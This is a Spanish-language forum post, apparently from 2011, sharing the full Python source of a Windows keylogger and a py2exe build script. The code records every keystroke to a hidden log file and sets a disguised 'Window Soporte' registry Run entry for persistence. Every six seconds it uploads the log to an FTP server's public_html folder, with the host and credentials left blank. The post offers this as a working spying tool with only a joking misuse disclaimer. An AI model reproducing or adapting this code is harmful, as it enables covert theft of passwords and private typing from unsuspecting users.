Buen dia , bueno buenas noches.
Hoy traigo este Keylogger que estube desarrolando no se como lo tomen , talves algunas personas pienses que es una mala idea pero bueno es la primera cosa que termino de desarollar en python.
El keylogger esta echo siguiendo varios ejemplos pero le dejo el codigo.
Talves no sea muy limpio y no tan bueno pero talves me puedan ayudar a corregir.
Incluye FTP y auto registro para el inicio de windows.
Tiene muchas depencias eso si.
Las dependecias son
Creo que esos son todos.
El Programa esta en echo en python26 porque venia istalado por defecto.
Esta echo en windows Seven Eclipse PyDev.
Keylogger.py
Código Python:
Ver original#Creado por @Y_mil(Twitter) o Lautaro_eb
#No me ago cargo del mal uso de la aplicacion xD
#Creditos Yo , y otras web que vi tantas que ni me acuerdo.
#22/08/2011
import pyHook,pythoncom
import win32api,win32con
import os
import random
import platform
from threading import *
from time import asctime
from ftplib import FTP
num = random.randint(0,100)
string = ""
#Obtenemos direccion de trabajo actual.
dir = os.getcwd()
#Nombre donde de la aplicacion.
arname = "keylogger.exe"
name = "%s\suport.log" % dir
#Configuracion del ftp
user = ""
password = ""
host = ""
#Ruta donde se guardan los logs
dirLogs = "D:\soport.log"
#Obtenemos el nombre del ordenador
filename = platform.node()
try:
#Conectamos al FTP
con = FTP(host,user,password)
#Obtenemos nomnbre de archivo
archivo = "%s\%s" % (dir,arname)
#direction = "cmd /c reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run /v WindowSoports /d %s /f" % (archivo)
#Los registramos a regedit de windows
keyp = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx (keyp, 'Window Soporte', 0, _winreg.REG_SZ, archivo)
_winreg.CloseKey(keyp)
#Ocultamos el archivo.
win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
#win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
except:
#La exepcion no muestra nigna informacion valorable
print ""
def send():
"""Esta funcion es la encarga de mandar el archivo al servidor FTP
Es llama cada 6 Segundos , no pasa nigun parametro."""
try:
#Obtenemos la direccion de archivo
archivo = "%s\%s" % (dir,name)
#Abrimos el archivo
file = open(dirLogs,"rb")
#Carpeta que se utilizara para guardar los archivos
con.cwd("/public_html")
#Comando Ftp para subir el archivo
nameFile = "STOR %s-%d.logs" % (filename,num)
con.storbinary(nameFile,file)
#Cerramos el archivo.
file.close()
except:
print ""
time = Timer(6.0,send)
time.start()
#Creamos un timer que llama cada 6 segundos a send
time = Timer(6.0,send)
time.start()
def savefile(text):
"""Esta Funcion es la encargada de almasenar los datos en un archivo
Parametro text : String"""
#Obtenemos Fecha y hora
dt = asctime()
#Generamos el string a guardar
string = "%s:%s \n" % (dt,text)
#Abrimos el archivo
file = open(dirLogs,"a")
#Escribimos la informacion
file.write(string)
#Y Serramos el cursor
file.close()
string = ""
def toma(frase):
"""Funcion encargada de guardar las entradas del teclado"""
global string
string += " %s" % frase.Key
"""Cuando hay mas de 5 letras o 5 este se guarda en el archivo"""
if len(string) >= 5:
savefile(string)
string = ""
def capturar():
"""Funcion Encargada de capturas las entradas del teclado"""
nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
#pythoncom.PumpMessages()
pythoncom.PumpMessages()
while 1:
"""Bucle infinito para obtener la campturas"""
capturar()
# The End
try:
"""Cerramos la conexion"""
con.quit()
except:
print ""
Setup.py
Código Python:
Ver originalfrom distutils.core import setup
import py2exe
setup(windows=['keylogger.pyw'])
Bueno gente , talves no le sirva , talves piensen que es una estupides pero bueno.
Espero que le sirva y suerte.
PD: Recien Sacado del Horno.